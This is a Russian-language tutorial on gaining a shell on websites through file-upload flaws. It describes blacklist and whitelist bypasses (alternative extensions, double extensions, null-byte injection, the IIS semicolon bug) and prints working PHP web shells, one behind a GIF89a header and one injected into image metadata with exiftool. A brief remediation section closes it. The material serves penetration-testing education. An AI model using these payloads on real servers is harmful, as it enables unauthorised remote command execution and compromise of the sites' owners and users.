Как получить оболочку на веб-сайте с помощью файла [Учебное пособие]

Файлы, загруженные пользователями, могут дать хакерам потенциальную точку входа в веб-приложения, что делает их безопасное обращение с ними чрезвычайно важной задачей для администраторов и группы безопасности. Если эти файлы не проверены должным образом, удаленный злоумышленник может загрузить вредоносный файл на веб-сервер и вызвать серьезное нарушение. Отправка вредоносных файлов происходит в результате неправильной проверки файлов. Это привело к выполнению кода. Согласно OWASP, уязвимости неограниченной загрузки файлов могут допускать два разных типа атак. Обычно веб-приложения имеют ограничения, чтобы попытаться усложнить такие атаки, но есть различные методы, которые хакеры могут использовать, чтобы обойти ограничения на загрузку файлов и получить обратную оболочку.

Черный список и обход 1

Черный список - это тип защиты, при которой определенные строки данных, во многих случаях конкретные расширения, явно запрещены для отправки на сервер веб-приложений. Это может показаться правильным решением для предотвращения загрузки на ваш сайт опасных расширений, часто оболочки, но их несложно обойти.

вот несколько альтернативных расширений, которые можно использовать для обхода фильтров черного списка.

php.txt, .sh, .pht, .phtml, .phP, .Php, .php7, .php%00.jpeg, .cgi

Другое популярное расширение для веб-оболочек - JSP - это файл веб-страницы, созданной сервером. Он похож на файл .ASP или .PHP, но содержит код Java вместо ActiveX или PHP.

.MF, .jspx, .jspf, .jsw, .jsv, xml, .war, .jsp, .aspx

Белый список и обход 2

Второй метод - использование белых списков. Белый список, как следует из названия, противоположен черному списку. Эти серверы в белый список принимают только jpeg, gif, png, jpg и т. Д. Это может показаться лучшим способом защиты вашего сервера, чем использование черного списка, но его все же можно обойти, используя несколько уловок. В этом методе тоже есть свои подводные камни. Это записи об ошибках на стороне сервера, позволяющие пользователям обойти эту защиту, одна из них:

Уязвимость точки с запятой в IIS 6, вызванная ошибкой парсера, которая позволяет пользователям загружать и запускать файл с такими именами, как testing.asp; .jpg

Используя обратную оболочку с расширением photo, хакеры могут обмануть веб-приложение, заставив его принять файл php, который также имеет расширение JPG / PNG:

payload.php.jpg

Также, используя инъекцию нулевого символа, мы можем обойти фильтры белого списка, чтобы символы игнорировались при сохранении файла, вставка этого между запрещенным расширением и разрешенным расширением может привести к обходу:

payload.php%00.jpg OR payload.php\x00.jpg

Обычно, если белый список принимает только изображения, он также может принимать файлы gif. Добавление GIF89a; в самый верх оболочки может помочь вам обойти ограничение и позволить запустить оболочку.

GIF89a; <?php system($_GET['cmd']); ?>

Exif Data, ExifTool и Bypass 3

Следующий метод обхода ограничений загрузки файлов использует данные Exif в любом изображении, такие как местоположение, имя, используемая камера и многое другое. Добавление комментария, содержащего полезную нагрузку обратной оболочки, может выполняться веб-приложением при каждой загрузке изображения.

Вы можете добавить полезную нагрузку с помощью такого инструмента, как exiftool.

Вставка короткой командной оболочки в качестве информации в вашу фотографию может выглядеть примерно так:

$ exiftool -DocumentName="<h1>chiara<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" pwtoken.jpeg

Вы можете использовать Exiftool, чтобы проверить, не добавлен ли новый комментарий к вашей фотографии.

$ exiftool pwtoken.jpeg

Затем просто добавьте расширение оболочки, чтобы сделать его исполняемым файлом один раз на сервере веб-приложения:

$ mv catphoto.jpg catphoto.php\x00.jpg

Используйте это с методами, упомянутыми в начале этой статьи, чтобы обойти один или оба черных и белых списков.

Исправление

Ограничьте типы файлов, принимаемые для загрузки: проверьте расширение файла и разрешите загрузку только определенных файлов. Используйте белый список вместо черного. Проверьте двойные расширения, такие как .php.png. Проверьте файлы без имени файла, например .htaccess (в ASP.NET проверьте файлы конфигурации, такие как web.config). Измените разрешения для папки загрузки, чтобы файлы в ней не выполнялись. Если возможно, переименуйте загруженные файлы.